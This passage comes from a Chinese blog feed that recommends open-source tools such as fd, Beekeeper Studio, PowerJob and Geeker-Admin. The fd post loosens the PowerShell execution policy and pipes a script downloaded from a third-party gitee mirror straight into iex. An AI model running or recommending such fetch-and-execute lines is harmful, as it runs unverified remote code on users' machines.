src="https://files.mdnice.com/user/20902/4fb28aa8-a1b8-4b9a-a4d8-0edaa9567dd9.png"></p><p>简单来说,就是吃什么对延长寿命好。在这里分为了固体、液体、气体、光照等。</p><p>这里有一些结论是出乎大叔意料之外的,比如在朋友圈盛传流传的: 喝 100% 纯果汁会更健康这件事。</p><p><img src="https://files.mdnice.com/user/20902/1cbb8420-f07c-4895-8fff-c1790c7d333c.png"></p><p>没想到吧,100% 纯果汁居然更危险!!!想想大叔每次聚会都是“健康走起”,扎心了~~~</p><p><img src="https://files.mdnice.com/user/20902/787e4b29-38f9-42ee-9c79-efecbf2c5f1c.png"></p><h3 id="方法二:输出篇"><a href="#方法二:输出篇" class="headerlink" title="方法二:输出篇"></a>方法二:输出篇</h3><p>主要指的是体外的各种运动。</p><p><img src="https://files.mdnice.com/user/20902/ccf85bdb-9fc6-4475-8aed-3539d2f07a34.png"></p><p>作者论证对比了各种运动对延长寿命的作用,认为最省事高效的延长生命的运动为:<strong>挥拍运动和走路</strong>,这点其实很多人通过常识都好理解。</p><p><img src="https://files.mdnice.com/user/20902/fd9fa3fe-65fe-457f-b51c-12d7e2636955.png"></p><p>但是刷牙这么一个小小的习惯,竟然还能影响你的寿命,还真是没想到。</p><p><img src="https://files.mdnice.com/user/20902/0d8ea4d1-2afe-404c-abe4-f83e9ce60524.png"></p><p><img src="https://files.mdnice.com/user/20902/0219b709-a524-4dc6-97db-33fa50c424b1.png"></p><h3 id="方法三:上下文"><a href="#方法三:上下文" class="headerlink" title="方法三:上下文"></a>方法三:上下文</h3><p>外在环境和自身情绪对ACM的影响,如:情绪、贫富、体重、甚至新冠疫情等因素。</p><p><img src="https://files.mdnice.com/user/20902/4df60430-bee8-45c3-a680-2844a036f8bf.png"></p><p>另外,该项目中也存在一些有争议的部分,大家根据自身的情况,参考即可。</p><p><img src="https://files.mdnice.com/user/20902/c6b44326-1bd5-4fa2-bc12-9e01f7effdb6.png"></p><p><img src="https://files.mdnice.com/user/20902/0c8a966b-6068-460f-9b09-3577cdc70872.png"></p><h4 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h4><p>好了,以上就是《程序员延寿指南》所分享的观点,还有很多详细内容,大家不妨自己亲自去项目地址一看究竟,公众号后台回复 <strong>“小分队”</strong> 获取地址研究学习吧~~</p><h3 id="写在最后"><a href="#写在最后" class="headerlink" title="写在最后"></a>写在最后</h3><p>欢迎加入开源小分队读者交流群,聊天学习摸鱼为主,不定时会分享一些技术要点和优质学习资源,有一群有趣有料的小伙伴在等你哦!</p><p>进群方式:<code>开源小分队</code> 公众号后台回复<code>888</code>,按提示操作即可进群。</p><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p><blockquote><p>大家的点赞、收藏和评论对大叔非常重要,如文章对你有帮助还请转发支持下,谢谢!</p></blockquote>]]></content>
<tags>
<tag> 永恒君 </tag>
</tags>
</entry>
<entry>
<title>一款小巧好用的性能监控软件</title>
<link href="/blog/2022/06/11/yi-kuan-xiao-qiao-hao-yong-de-xing-neng-jian-kong-ruan-jian/"/>
<url>/blog/2022/06/11/yi-kuan-xiao-qiao-hao-yong-de-xing-neng-jian-kong-ruan-jian/</url>
<content type="html"><![CDATA[<p>大家好,我是机灵的开源小妹!</p><p>如果我们想看CPU、内存占用、实时网速等信息一般的做法是 Ctrl+Shift+Esc,可以看到很详细的信息,但是很麻烦。<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202204/202206111702469.png"></p><p>有没有简单高效的办法呢,开源项目里面翻了翻,找到一款小巧好用的软件,即在 Windows 平台的开源监控软件 – TrafficMonitor。</p><h2 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h2><p>TrafficMonitor 是一款用于Windows 平台的监控软件,可用于监控网络流量、CPU、内存、硬件温度等。<br>主要分为两个版本:</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202204/202206111702778.png"><br>另外还支持换肤,自定义皮肤等,满足我们多种需求。</p><h2 id="主要功能"><a href="#主要功能" class="headerlink" title="主要功能"></a>主要功能</h2><p>下载完安装报告后,打开可以看到一个悬浮弹窗,里面有各种参数信息,实时刷新。<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202204/202206111703215.png"><br>也可以设置任务栏显示<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202204/202206111703027.png"><br>选择是否要监控硬件<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202204/202206111703036.png"></p><h2 id="皮肤"><a href="#皮肤" class="headerlink" title="皮肤"></a>皮肤</h2><p>还支持换肤,或自己自定义皮肤<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202204/202206111703340.png"><br>多款皮肤随意选择<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202204/202206111703253.png"><br>没找到满意的也可以自己开发皮肤<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202204/202206111703190.png"></p><h2 id="扩展"><a href="#扩展" class="headerlink" title="扩展"></a>扩展</h2><p>我们可以对软件通过插件的方式进行扩展,作者也提供了详细的文档指导如何进行开发。<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202204/202206111704172.png"></p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>怎么样,这款小而美的监控软件是不是挺不错的,既无广告,还支持自定义扩展,值得一试。如果心动了,就快去公众号后台回复「小分队」获取开源项目地址吧。</p>]]></content>
<tags>
<tag> 奔跑的阿白 </tag>
</tags>
</entry>
<entry>
<title>再见 Navicat</title>
<link href="/blog/2022/06/09/zai-jian-navicat/"/>
<url>/blog/2022/06/09/zai-jian-navicat/</url>
<content type="html"><![CDATA[<p>大家好,我是爱撸码的开源大叔!</p><p>数据库管理工具,对于后端程序员使用的频率非常高。市面上的可视化工具大多数都是收费的。最近大叔在逛开源网站时候发现了一个特别好用的数据库管理工具<code>Beekeeper Studio</code>,界面非常炫酷推荐给大家!</p><h3 id="项目简介"><a href="#项目简介" class="headerlink" title="项目简介"></a>项目简介</h3><p>Beekeeper Studio是一个跨平台的 SQ L 编辑器和数据库管理器,可用于Linux,Mac和Windows。</p><p>Beekeeper Studio 支持的数据库包括:MySQL/MariaDB、PostgreSQL、SQLite、SQL Server、CockroachDB、Amazon Redshift。</p><p><img src="https://camo.githubusercontent.com/a5869aa0e9c7043b2d1f99c5950f1092d21dd516d619996949dd060877cee2fa/68747470733a2f2f646f63732e6265656b656570657273747564696f2e696f2f6173736574732f696d672f6865726f2e32383964366365302e6a7067"></p><h3 id="功能特性"><a href="#功能特性" class="headerlink" title="功能特性"></a>功能特性</h3><ul><li><strong>支持多平台</strong>:Windows、MacOS 和 Linux</li><li><strong>安全连接</strong>:除了正常的连接,也可以使用 SSL 加密连接或通过 SSH 隧道连接</li><li><strong>SQL 自动补全</strong>:代码编辑器支持语法高亮和表名自动补全功能</li><li><strong>保存查询语句</strong>:组织和保存常用的查询语句,方便重复运行</li><li><strong>查看并修改表的结构</strong>:通过直观的界面创建、编辑和删除表的字段、索引和外键</li></ul><h3 id="安装使用"><a href="#安装使用" class="headerlink" title="安装使用"></a>安装使用</h3><p>在<a href="https://www.beekeeperstudio.io/">官方网站</a>直接下载安装。成功安装后效果:</p><p><img src="https://pic1.zhimg.com/80/v2-c51ac948b8c8de654b9236b187a8291d_720w.png"></p><p>喜欢黑色背景的朋友,可以通过 <code>View</code>菜单按钮进行字体大小和主题设置。</p><p><img src="https://pica.zhimg.com/80/v2-72d69b723e06e875dde3cecd90f827a1_720w.png"></p><p><strong>创建数据源</strong></p><p><img src="https://pic1.zhimg.com/80/v2-f3995d5066db6005457b829c3e063be4_720w.png"></p><p>我们以 MySQL 举例,输入Host、Port、User 、Password 等信息,保存即可。</p><p><img src="https://pica.zhimg.com/80/v2-a9d4f53ab7068ed8440497ba95b8794b_720w.png"></p><p>点击连接,就可以进行操作了。</p><p><img src="https://pic2.zhimg.com/80/v2-2aa97ab2739305e1d5d22f2116a48d19_720w.png"></p><p>连接成功后,显示页面如下:</p><p><img src="https://pic1.zhimg.com/80/v2-923adb2f886e78bd19ab10d32912f40d_720w.png"></p><p>左侧列出了当前数据库中的表和视图,可以通过名称进行过滤;右侧是查询区域和结果显示。</p><p><strong>数据表操作</strong></p><p>右键表名可以查看表中的数据、表结构、导出表中数据等。导出的数据支持 CSV、Excel、JSON 等格式。</p><p><img src="https://pic1.zhimg.com/80/v2-6f7e6573db03589d4d1151ca4f4e4b3a_720w.png"></p><p>查看数据时候能根据条件进行过滤。</p><p><img src="https://pica.zhimg.com/80/v2-2e45422e22a46ffa100f1f4593f10f8d_720w.png"></p><p><strong>SQL 操作</strong></p><p>Beekeeper Studio 提供了表名和字段名的字段补全功能,支持 SQL 语法高亮,常用的 SQL 可以保存起来。</p><img src="https://pica.zhimg.com/80/v2-02d9e77e473a6cd6d0c209ba1d723061_720w.png" style="zoom:150%;" /><p>最大亮点是可以查看 SQL 历史记录。</p><p><img src="https://pica.zhimg.com/80/v2-90395412c3393698fce92abdb5610524_720w.png"></p><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>整体体验来看,Beekeeper Studio 和 Navicat 功能差不多,页面还是比较美观的。不过在 SQL 语法上提示还是有些欠缺,对于平常工作足够了,而且开源项目也是在不断完善的,喜欢的朋友在公众号后台回复<strong>【小分队】</strong>获取项目地址吧~</p>]]></content>
<tags>
<tag> 胜 </tag>
</tags>
</entry>
<entry>
<title>推荐一个超级好看的开源的后台管理框架</title>
<link href="/blog/2022/06/05/tui-jian-yi-ge-chao-ji-hao-kan-de-kai-yuan-de-hou-tai-guan-li-kuang-jia/"/>
<url>/blog/2022/06/05/tui-jian-yi-ge-chao-ji-hao-kan-de-kai-yuan-de-hou-tai-guan-li-kuang-jia/</url>
<content type="html"><![CDATA[<p>大家好,我是机灵的开源小妹!</p><p>今天在翻看开源项目,发现一款超好看的开源后台框架 – Geeker-Admin,用来学习和副业都是很香的。</p><h2 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h2><p>Geeker-Admin 是基于Vue3.2、TypeScript、Vite2、Pinia、Element-Plus 开发的一套后台管理模板,功能齐全,样式好看。<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202205/202206052108917.png"></p><p>项目使用 Vue3.2 开发,采用 Vite2 作为项目开发、打包工具,使用比 Vuex 更轻量、简单、易用的 Pinia 替代 。对系统通用功能都做了统一的封装,方便随取随用。</p><p>统一项目规范:</p><ol><li>使用 Prettier 统一格式化代码,集成 Eslint、Stylelint 代码校验规范(STANDARD.md 文件);</li><li>使用 husky、lint-staged、commitlint、commitizen、cz-git 规范提交信息(STANDARD.md 文件);</li></ol><h2 id="部署"><a href="#部署" class="headerlink" title="部署"></a>部署</h2><h3 id="下载"><a href="#下载" class="headerlink" title="下载"></a>下载</h3><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202205/202206052108183.png"></p><h3 id="安装"><a href="#安装" class="headerlink" title="安装"></a>安装</h3><pre><code>npm install# npm install 安装失败,请升级 nodejs 到 16 以上,或尝试使用以下命令:npm install --registry=https://registry.npm.taobao.org</code></pre><h3 id="构建"><a href="#构建" class="headerlink" title="构建"></a>构建</h3><pre><code># 开发环境npm run build:dev# 测试环境npm run build:test# 生产环境npm run build:pro</code></pre><h3 id="启动"><a href="#启动" class="headerlink" title="启动"></a>启动</h3><pre><code>npm run devnpm run serve</code></pre><h2 id="项目演示"><a href="#项目演示" class="headerlink" title="项目演示"></a>项目演示</h2><p>启动后,访问地址,可以看到登录界面<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202206/202206052108215.png"><br>输入账号密码登录成功,可以看到左侧列出的所有功能<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202206/202206052109241.png"><br>点击数据大屏可以看到很大气的数据图表<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202206/202206052109054.png"><br>其他的就是简单的功能展示<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202206/202206052109054.png"><br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202206/202206052109440.png"><br>有兴趣的可以访问官方提供的演示地址,或者自行本地启动服务。</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>怎么样 Geeker-Admin 这个后台模板是不是很好看、很全面,很多场景都可以用的上,而且上手简单,可以作为学习和私活的不错选择。快去公众号后台回复「小分队」获取开源项目地址吧。</p>]]></content>
<tags>
<tag> 奔跑的阿白 </tag>
</tags>
</entry>
<entry>
<title>这款良心安全的开源笔记真香</title>
<link href="/blog/2022/06/05/zhe-kuan-liang-xin-an-quan-de-kai-yuan-bi-ji-zhen-xiang/"/>
<url>/blog/2022/06/05/zhe-kuan-liang-xin-an-quan-de-kai-yuan-bi-ji-zhen-xiang/</url>
<content type="html"><![CDATA[<p>大家好,我是爱撸码的开源大叔!</p><p>大家觉得一款好的笔记软件是怎样的?</p><p>个人觉得应该是能在10s内开始记录或短时间内能查找到想要的笔记最佳,今天介绍这款就是 – Leanote!</p><h2 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h2><p>Leanote 不仅仅是一款笔记,他有很多的功能,简易的操作界面,支持富文本编辑器和 Markdown 编辑器等。在知识管理方面和印象笔记类似,采用“笔记本组-笔记-标签”的方式,可以用于打造个人的知识系统。另外,还支持笔记分享、团队协作、生成博客等。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202206/202206052142393.png"></p><h2 id="搭建"><a href="#搭建" class="headerlink" title="搭建"></a>搭建</h2><p>官方提供了详尽的文档,可以直接参考官方提供的信息。<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202206/202206052142653.png"></p><h2 id="使用"><a href="#使用" class="headerlink" title="使用"></a>使用</h2><p>Leanote云笔记产品包括: Leanote Web &amp; Server(即本仓库), 桌面客户端, IOS, android. 4端全部都是开源的。所以我们如果搭建好了,就全终端都可以用了。</p><h3 id="可以分享博客"><a href="#可以分享博客" class="headerlink" title="可以分享博客"></a>可以分享博客</h3><p>写完可以直接分享,不用在去搭建博客平台才能生成博客。<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202206/202206052143834.png"></p><h3 id="可以使用多种编辑模式"><a href="#可以使用多种编辑模式" class="headerlink" title="可以使用多种编辑模式"></a>可以使用多种编辑模式</h3><p>使用 Markdown<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202206/202206052143295.png"><br>支持数学公式<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202206/202206052143987.png"></p><p>支持 vim&amp;emacs 输入<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202206/202206052144371.png"></p><h3 id="思维导图"><a href="#思维导图" class="headerlink" title="思维导图"></a>思维导图</h3><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202206/202206052144924.png"></p><h3 id="自动保存历史"><a href="#自动保存历史" class="headerlink" title="自动保存历史"></a>自动保存历史</h3><p>笔记支持自动保存历史,方便回溯。<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202206/202206052144460.png"></p><h3 id="二次开发"><a href="#二次开发" class="headerlink" title="二次开发"></a>二次开发</h3><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202206/202206052144534.png"></p><h2 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h2><p>如果想要自行搭建需要提前准备云服务器,域名(也不是必须,但如果想使用博客功能是有必要的)之类的东西,然后按照官方文档进行搭建。如果心动了,就快去公众号后台回复「小分队」获取开源项目地址吧。</p>]]></content>
<tags>
<tag> 奔跑的阿白 </tag>
</tags>
</entry>
<entry>
<title>终于找到这个文件搜索神器了</title>
<link href="/blog/2022/06/05/zhong-yu-zhao-dao-zhe-ge-wen-jian-sou-suo-shen-qi-liao/"/>
<url>/blog/2022/06/05/zhong-yu-zhao-dao-zhe-ge-wen-jian-sou-suo-shen-qi-liao/</url>
<content type="html"><![CDATA[<p>大家好,我是爱撸代码的开源大叔!</p><p>有时候找文件是一件很苦恼的事情,找了很多目录也没有找到文件,今天大叔给大家推荐一款好用的开源的文件搜索工具–fd。fd 是基于 Rust 开发的一个速度超快的命令行搜索工具,fd 旨在成为 Linux / Unix 下 find 命令的替代品。</p><p><img src="https://raw.githubusercontent.com/zysspace/images/master/images202206081142546.png" alt="img"></p><h3 id="项目特性"><a href="#项目特性" class="headerlink" title="项目特性"></a>项目特性</h3><p>fd 是一个命令行工具,提供了多种方便的选项进行文件的搜索,而且默认是彩色输出。</p><ul><li>简洁语法:fd PATTERN</li><li>彩色终端输出</li><li>搜索不区分大小写</li><li>支持正则表达式</li><li>忽略隐藏的目录和文件</li></ul><h3 id="安装"><a href="#安装" class="headerlink" title="安装"></a>安装</h3><p>这里以windows为例,其他操作系统参考官方文档即可。</p><p>可以从中 <a href="https://github.com/sharkdp/fd/releases">releases页面</a>,下载预构建的二进制文件.</p><p>也可以通过scoop 安装fd</p><p>安装 scoop:</p><ul><li>打开 PowerShell</li></ul><p>打开远程权限</p><pre class=" language-powershell"><code class="language-powershell"><span class="token function">Set</span><span class="token operator">-</span>ExecutionPolicy RemoteSigned <span class="token operator">-</span>scope CurrentUser<span class="token punctuation">;</span></code></pre><p>出现提示<code>是否要更改执行策略?</code>,输入 Y 回车</p><ul><li>Scoop 下载安装</li></ul><pre class=" language-shell"><code class="language-shell">iwr -useb https://gitee.com/glsnames/scoop-installer/raw/master/bin/install.ps1 | iex</code></pre><ul><li>安装fd</li></ul><pre class=" language-shell"><code class="language-shell">scoop install fd</code></pre><h3 id="使用方式"><a href="#使用方式" class="headerlink" title="使用方式"></a>使用方式</h3><p><strong>查看帮助</strong></p><pre class=" language-shell"><code class="language-shell">fd -h</code></pre><p><img src="C:\Users\zys\AppData\Roaming\Typora\typora-user-images\image-20220605192634300.png"></p><p><strong>简单搜索</strong></p><pre class=" language-shell"><code class="language-shell">fd test#搜索结果fd\hello.txt</code></pre><p>不加任何参数,fd 默认是在当前目录进行检索。</p><p><strong>指定根目录</strong></p><p>添加第二个参数是在指定目录下进行搜索</p><pre class=" language-shell"><code class="language-shell"># winfd hello d:\fdd:\fd\hello.txt# linuxfd hello /etc</code></pre><p><strong>大小写</strong></p><p>默认 <code>fd</code> 是匹配智能大小写的,如果你搜索的内容是包含大写会按照大小写精确匹配,但如果是小写会忽略大小写匹配,所以 <code>fd</code> 另外提供了两种选项来严格控制大小写匹配。</p><pre class=" language-shell"><code class="language-shell">fd hello d:\fdd:\fd\Hello (3).txtd:\fd\hello.txt</code></pre><p>选项 <code>-i</code> 或 <code>--ignore-case</code> 忽略大小写。</p><pre class=" language-shell"><code class="language-shell">fd -i hello d:\fdd:\fd\Hello (3).txtd:\fd\hello.txt</code></pre><p>选项 <code>-s</code> 或 <code>--case-sensitive</code> 严格匹配大小写。</p><pre class=" language-shell"><code class="language-shell">fd -s hello d:\fdd:\fd\hello.txt</code></pre><p><strong>搜索特定的文件扩展名</strong></p><p>添加选项 -e 扩展名,搜索指定扩展名的文件。</p><pre class=" language-shell"><code class="language-shell">fd -e txt hellofd\Hello (3).txtfd\hello.txt</code></pre><p><strong>组合命令</strong></p><p><code>fd</code> 提供了 <code>-x</code> 或 <code>--exec &lt;cmd&gt;</code>、<code>-X</code> 或 <code>--exec-batch &lt;cmd&gt;</code> 来进行对搜索结果集的进一步处理。</p><pre class=" language-shell"><code class="language-shell">fd -e zip -x unzip#找到所有的 py 并且通过 vim 打开fd py -X vim</code></pre><p><strong>正则表达式</strong></p><p><code>fd</code> 默认就是支持正则表达式对内容进行搜索的,但是正则表达式需要使用单引号 <code>&#39;</code> 包裹起来。</p><pre class=" language-shell"><code class="language-shell">fd '^x.*rc$'X/xinit/xisssrcX1/xinit/xssssrc</code></pre><p><strong>排除特定文件或目录</strong></p><p>使用<code>-E</code> (或) <code>--exclude</code>选择此选项. 它以任意的模式作为一个参数,参数可以是正则表达式、目录、文件类型等等。</p><pre class=" language-shell"><code class="language-shell">D:\fd> fd -E h*Hello (3).txtssss.txt</code></pre><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p><code>fd</code> 是一个简单友好的命令行文件搜索工具,检索速度很快,有需要的小伙伴在公众号后台回复【小分队】获取项目地址吧~</p>]]></content>
<tags>
<tag> 胜 </tag>
</tags>
</entry>
<entry>
<title>拳打xxl-job,脚踢LTS,这就是开源界最强分布式调度框架?</title>
<link href="/blog/2022/05/29/quan-da-xxl-job-jiao-ti-lts-zhe-jiu-shi-kai-yuan-jie-zui-qiang-fen-bu-shi-diao-du-kuang-jia/"/>
<url>/blog/2022/05/29/quan-da-xxl-job-jiao-ti-lts-zhe-jiu-shi-kai-yuan-jie-zui-qiang-fen-bu-shi-diao-du-kuang-jia/</url>
<content type="html"><![CDATA[<p>大家好,我是爱玩新轮子的开源大叔。</p><p>这几天和朋友聊天时,聊到了他们公司在统一更换分布式调度服务的事情。之前使用的是基于 LTS 魔改的分布式调度系统,但是因为这个开源项目太久没有更新,且现在遇到了一些问题,因此公司在推动替换为 PowerJob。这倒是勾起了大叔的好奇心,因为前段时间让小妹用 xxl-job 替换掉了同样不太好用的 QuartZ,那时候还没有调研 PowerJob。于是这次大叔研究了一番,发现 PowerJob 确实是个很棒的框架,在这里推荐给大家。</p><h2 id="何为PowerJob"><a href="#何为PowerJob" class="headerlink" title="何为PowerJob"></a>何为PowerJob</h2><p>PowerJob 是全新一代分布式调度与计算框架,可以让用户轻松完成作业的调度与繁杂任务的分布式计算。这是一个朝气蓬勃的开源项目,吸取了各家所长,功能更全面,开源维护更活跃。</p><p>大叔整理了一下,主要有以下几个优点值得我来念叨念叨:</p><ul><li><p>提供了 web 界面,方便用户使用</p></li><li><p>有完善的定时策略:支持 CRON 表达式、固定频率、固定延迟和 API 四种定时调度策略</p></li><li><p>无锁化设计,性能理论上没有上限</p></li><li><p>依赖精简,最小依赖仅为关系型数据库,PowerJob 本身就实现了类似 zookeeper 的分布式服务注册与发现功能</p></li><li><p>支持任意 Spring Data Jpa 支持的关系型数据库,包括但不限于 MySQL、Oracle 等</p></li><li><p>支持 DAG 工作流</p></li></ul><h2 id="横向对比"><a href="#横向对比" class="headerlink" title="横向对比"></a>横向对比</h2><p>市场上可用的调度框架这么多,我们来横向对比一下,看看PowerJob到底好在哪里吧。如图所示:</p><p><img src="http://img.esparks.cn/img/20220529205634_952172e15d7b5cd59625028d78d01a4a.png" alt="img"></p><h2 id="使用指南"><a href="#使用指南" class="headerlink" title="使用指南"></a>使用指南</h2><p>因为是尝鲜,所以大叔我就用本地部署的方式来展示一下 PowerJob。</p><h3 id="本地部署"><a href="#本地部署" class="headerlink" title="本地部署"></a>本地部署</h3><p>首先将源码 clone 到本地,用 IDE 打开项目,可以看到项目的结构。</p><p><img src="http://img.esparks.cn/img/20220529205634_dc133562581ef81198562392d7b64ba9.png" alt="img"></p><p>在本地搭建的 MySQL 上创建一个名为 powerjob-daily 的 schema,然后在 application-daily.properties 配置文件中配置好数据库的用户名和密码。</p><p><img src="http://img.esparks.cn/img/20220529205634_2250e568d4d14a9ace12fb05566ae492.png" alt="img"></p><p>最后直接启动 PowerJobServerApplication 就可以啦。</p><h3 id="web-管理后台"><a href="#web-管理后台" class="headerlink" title="web 管理后台"></a>web 管理后台</h3><p>服务启动成功后,访问<a href="http://127.0.0.1:7700/">http://127.0.0.1:7700/</a> 即可进入登录页面。初次登录需要注册一个新的应用,如图:</p><p><img src="http://img.esparks.cn/img/20220529205634_55bf0b3f983dc7b53caa09deb3043c6c.png" alt="img"></p><p>注册成功后,用刚才的用户名密码登录即可进入后台。</p><h3 id="配置一个定时任务"><a href="#配置一个定时任务" class="headerlink" title="配置一个定时任务"></a>配置一个定时任务</h3><p>这里我们使用自带的 powerjob-worker-samples 模块来测试一下。</p><p>第一步,需要配置该模块的 application.properties 配置文件,将 powerjob.worker.app-name 置为我们刚才注册的应用名称。如图:</p><p><img src="http://img.esparks.cn/img/20220529205634_95f093fab344a3f1ec89a8f61c102e4a.png" alt="img"></p><p>第二步,修改模块中已有的 StandaloneProcessorDemo 类:</p><pre class=" language-Java"><code class="language-Java">@Slf4j@Componentpublic class StandaloneProcessorDemo implements BasicProcessor &#123; @Override public ProcessResult process(TaskContext context) throws Exception &#123; log.info("任务执行啦~,执行参数:&#123;&#125;", context.getJobParams()); return new ProcessResult(true); &#125;&#125;</code></pre><p>第三步,进入 web 管理后台,点击左侧的任务管理,点击新建任务,配置任务名称、参数、定时信息以及执行的类,如图所示:</p><p><img src="http://img.esparks.cn/img/20220529205634_8b22480aaae5c642ccc87782456e8695.png" alt="img"></p><p>上面的 cron 配置是让每分钟的第 5 秒执行一次任务。</p><p>第四步,启动 SampleApplication,查看日志输出。</p><p><img src="http://img.esparks.cn/img/20220529205634_efe47789ac201260a8807717cde18fcc.png" alt="img"></p><p>定时任务成功执行了!</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>好啦,今天大叔就是帮你们探探路。果然 PowerJob 上手操作起来还是比较方便的。其他的特性,屏幕前的你们如果感兴趣可以再探索一下哦。赶快去公众号后台回复「小分队」获取项目地址吧。</p>]]></content>
<tags>
<tag> 白小白 </tag>
</tags>
</entry>
<entry>
<title>给大家分享一个有颜色的开源项目,小孩子不要点进来哦</title>
<link href="/blog/2022/05/29/gei-da-jia-fen-xiang-yi-ge-you-yan-se-de-kai-yuan-xiang-mu-xiao-hai-zi-bu-yao-dian-jin-lai-e/"/>
<url>/blog/2022/05/29/gei-da-jia-fen-xiang-yi-ge-you-yan-se-de-kai-yuan-xiang-mu-xiao-hai-zi-bu-yao-dian-jin-lai-e/</url>
<content type="html"><![CDATA[<p>大家好,我是浑身充满艺术细胞的开源小妹~</p><p>文章的开始,我要问大家几个问题。“天青色等烟雨,而我在等你”的青色,是有多青?“满园春色关不住,一枝红杏出墙来”的红杏,是有多红?“竹外桃花三两枝,春江水暖鸭先知”的竹和桃,又是怎样的绿和粉么?如果你要用电脑为这些场景填上色彩,那么应该使用什么样的颜色代码呢?今天我要给大家分享一个关于颜色的开源项目,让你享受一下中国古典颜色之美。</p><h2 id="项目介绍"><a href="#项目介绍" class="headerlink" title="项目介绍"></a>项目介绍</h2><p>中国传统颜色在线手册是一个使用 React 构建的开源项目。整个项目的每一个细节都是满满的中国古典元素。你可以先选择一个主色调,之后在里面选择不同名称的颜色,直接复制代码使用。你也可以一边播放古典背景音乐,一边欣赏着不同颜色搭配的古诗词。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/20220529210205_95214e7cf8f0016844cffce79293c888.png" alt="img"></p><p>还可以用当前的颜色为底色,搭配诗词和图案,生成一副古色古香的图片,下载保存。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/20220529210205_3d12b5cc95bce749169a606ae03e4d86.png" alt="img"></p><h2 id="回到开始的问题"><a href="#回到开始的问题" class="headerlink" title="回到开始的问题"></a>回到开始的问题</h2><p>我们回到一开始的问题,小妹在这里就把歌词和诗句里的颜色给你们贴出来!</p><p>这是天青色的青:</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/20220529210205_663f837f1bc1605a39df7e1842ec6f69.png" alt="img"></p><p>这是关不住的杏红:</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/20220529210205_adb1d2b67479c89159db6c9d5e89f2af.png" alt="img"></p><p>至于竹外桃花的颜色,大家可以亲自去查一查是什么颜色吧。在公众号后台回复「小分队」,便可以获取中国传统颜色在线手册的项目地址了,赶快去试试吧~</p>]]></content>
<tags>
<tag> 白小白 </tag>
</tags>
</entry>
<entry>
<title>重磅推荐!12.2K标星的免费接口合集,API的搬运工,开发者的福利</title>
<link href="/blog/2022/05/21/chong-bang-tui-jian-12-2k-biao-xing-de-mian-fei-jie-kou-he-ji-api-de-ban-yun-gong-kai-fa-zhe-de-fu-li/"/>
<url>/blog/2022/05/21/chong-bang-tui-jian-12-2k-biao-xing-de-mian-fei-jie-kou-he-ji-api-de-ban-yun-gong-kai-fa-zhe-de-fu-li/</url>
<content type="html"><![CDATA[<p>大家好,我是爱撸代码的开源大叔!</p><p>今天给大家推荐的项目绝对是对广大的开发者们,是一个巨大的福利!</p><p>作为爱折腾的工程师,总想自己做一些有趣的工具或项目,但苦于没有合适的资源,开发效率非常低下,尤其对于前端工程师和移动端工程师,缺少后端的支持,能做的事情就更加少了,咋办?</p><p>今天通过大叔我的推荐,你就不用再纠结这个问题了,尽情发挥你的想象力吧!这个项目就是:<strong>free-api</strong></p><h1 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h1><p>为了方便广大的开发者进行自由的创作,free-api 这个项目的作者,每个月不定期的收录了互联网中诸多的免费 API 供你选择。</p><p>有些接口来自第三方,在第三方注册就可以成为他们的会员,免费使用他们的部分接口。</p><p>其中包含如:</p><ul><li><strong>图片视觉类</strong>:通用图片搜索、特定人物识别、商品图片搜索</li><li><strong>自然语言类</strong>:评论观点抽取、文本分类、词义相似度</li><li><strong>天气类</strong>:七天天气接口、实况天气、天气预警</li><li><strong>消费类</strong>:京东商品价格、今日国内油价</li><li><strong>工具类</strong>:贷款公积金计算器、货币识别、邮件发送</li><li><strong>音视频类</strong>:抖音短视频解析、热门视频榜单、文字转语音朗读</li><li>还有很多很多。。。</li></ul><h1 id="预览"><a href="#预览" class="headerlink" title="预览"></a>预览</h1><p><img src="https://songjhh-image.oss-cn-shenzhen.aliyuncs.com/%E5%85%AC%E4%BC%97%E5%8F%B7/iShot_2022-05-21_15.00.10.png"></p><p><img src="https://songjhh-image.oss-cn-shenzhen.aliyuncs.com/%E5%85%AC%E4%BC%97%E5%8F%B7/iShot_2022-05-21_15.00.25.png"></p><p><img 